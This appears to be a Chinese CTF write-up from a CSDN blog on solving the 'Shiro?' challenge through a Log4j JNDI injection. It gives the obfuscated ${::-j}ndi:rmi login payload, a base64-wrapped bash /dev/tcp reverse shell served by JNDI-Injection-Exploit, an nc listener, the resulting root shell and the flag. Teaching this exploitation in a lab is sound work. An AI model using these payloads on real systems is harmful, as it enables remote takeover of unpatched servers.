

长安战疫网络安全卫士守护赛 Shiro?

原创

FSecurity 于 2022-01-14 16:17:03 发布 2352 收藏

文章标签: [web安全](#) [安全](#) [java](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/FSecurity/article/details/122495151>

版权

赛题: Shiro?

需要准备的环境:

反弹shell需要准备VPS、JNDI-Injection-Exploit工具启动rmi和ldap服务

JNDI-Injection-Exploit 需要jdk、mvn环境编译

VPS centos7

mvn 3.8.4

jdk 1.8

004

Shiro?



难度:

解出人数: 14

考点: log4j RCE

题目介绍

This is Shiro?

题目地址

<http://4846aa7b.lxctf.net/>

环境关闭倒计时: 00:59:57

[延时30分钟](#)

[释放环境](#)

提交Flag

请输入您要提交的Flag

提交Flag

已解答

查看答案

CSDN @FSecurity

打开赛题

Please sign in

Username

Password

☐ Remember me

Sign in

CSDN @FSecurity

测试存在漏洞

这里我用的是VPS的外网地址

Please sign in

\${{::-j}}ndi:rmi://[REDACTED]/kkh

.....|



☐ Remember me

Sign in

CSDN @FSecurity

成功获取到请求响应

ok

反弹shell步骤

```
bash -i >&/dev/tcp/x.x.x.x/1111 0>&1
```

```
bash -c {echo,上面命令base64编码后的内容}{base64,-d}{bash,-i}
```

```
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxxx}{base64,-d}{bash,-i}" -A x.x.x.x
```

请输入要进行 Base64 编码或解码的字符

```
bash -i >&/dev/tcp/10.10.10.10/1111 0>&1|
```

vps地址

编码 (Encode)

解码 (Decode)

↑ 交换

(编码快捷键: **Ctrl** + **Enter**)

Base64 编码或解码的结果:



启动服务:

```
[root@VM-12-17-centos ~]# cd JNDI-Injection-Exploit
[root@VM-12-17-centos JNDI-Injection-Exploit]# mvn clean package -DskipTests
[INFO] Scanning for projects...
[WARNING]
[WARNING] Some problems were encountered while building the effective model for welkln:JNDI-Injection-Exploit:jar:1.0-SNAPSHOT
[WARNING] 'build.plugins.plugin.version' for org.apache.maven.plugins:maven-compiler-plugin is missing @ line 106, column 21
```

```
[root@VM-12-17-centos JNDI-Injection-Exploit]# ls
LICENSE pom.xml README-CN.md README.md screenshots src target
[root@VM-12-17-centos JNDI-Injection-Exploit]# cd target/
```

```
[root@VM-12-17-centos JNDI-Injection-Exploit]# ls
LICENSE pom.xml README-CN.md README.md screenshots src target
[root@VM-12-17-centos JNDI-Injection-Exploit]# cd target/
[root@VM-12-17-centos target]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "
bash -c {echo,'[REDACTED]'}|{base64,-d}|{bash,-i}" -A [REDACTED]
[ADDRESS] >> [REDACTED]
[COMMAND] >> basn -c {echo,YmFzaCAtaSA+Ji9kZXlvdGNwLzEyNC4yMjMuMC4xODgvMTEwMSAwPiYx}|{base64,-d}|{bash,-i}
-----JNDI Links-----
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://[REDACTED]:1099/[REDACTED]chyoy
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://[REDACTED]:1099/[REDACTED]rncald1
ldap://[REDACTED]:1389/[REDACTED]rncald1
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://[REDACTED]:1099/[REDACTED]yujaob
ldap://[REDACTED]:1389/[REDACTED]yujaob
-----Server Log-----
2022-01-14 14:53:07 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-01-14 14:53:07 [RMISERVER] >> Listening on 0.0.0.0:1099
2022-01-14 14:53:08 [LDAPSERVER] >> Listening on 0.0.0.0:1389
```

CSDN @FSecurity

另起一个服务监听1111端口

nc -lvvp 1111 (nc需要自己安装)

```
[root@VM-12-17-centos ~]# nc -lvvp 1111
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1111
Ncat: Listening on 0.0.0.0:1111
```

Please sign in

`\${::-j}ndi:rmi://[REDACTED]/kkh`

.....|

☐ Remember me

Sign in

CSDN @FSecurity

```
-----Server Log-----
2022-01-14 14:53:07 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-01-14 14:53:07 [RMISERVER] >> Listening on 0.0.0.0:1099
2022-01-14 14:53:08 [LDAPSERVER] >> Listening on 0.0.0.0:1389
2022-01-14 14:55:26 [RMISERVER] >> Have connection from /113.201.14.253:52476
2022-01-14 14:55:26 [RMISERVER] >> Reading message...
2022-01-14 14:55:26 [RMISERVER] >> Is RMI.lookup call for kkhyoy 2
2022-01-14 14:55:26 [RMISERVER] >> Sending local classloading reference.
2022-01-14 14:55:26 [RMISERVER] >> Closing connection
2022-01-14 14:55:26 [RMISERVER] >> Have connection from /113.201.14.253:52478
2022-01-14 14:55:26 [RMISERVER] >> Reading message...
2022-01-14 14:55:26 [RMISERVER] >> Is RMI.lookup call for kkhyoy 2
2022-01-14 14:55:26 [RMISERVER] >> Sending local classloading reference.
2022-01-14 14:55:26 [RMISERVER] >> Closing connection
2022-01-14 14:56:45 [RMISERVER] >> Have connection from /113.201.14.253:52486
2022-01-14 14:56:45 [RMISERVER] >> Reading message...
2022-01-14 14:56:45 [RMISERVER] >> Is RMI.lookup call for kkhyoy 2
2022-01-14 14:56:45 [RMISERVER] >> Sending local classloading reference.
2022-01-14 14:56:45 [RMISERVER] >> Closing connection
2022-01-14 14:56:45 [RMISERVER] >> Have connection from /113.201.14.253:52488
2022-01-14 14:56:45 [RMISERVER] >> Reading message...
CSDN @FSecurity
```

成功获取shell

```
Ncat: Listening on :::1111
Ncat: Listening on 0.0.0.0:1111
Ncat: Connection from 113.201.14.253.
Ncat: Connection from 113.201.14.253:52100.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@694f6d7b32bd:/# ls
```

成功拿到flag

```
root@kali:~# ls
ls
bin
boot
demo
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
root@kali:~# cat flag
cat flag
flag{xajy_cazy_jyiyjy}
```

CSDN @FSecurity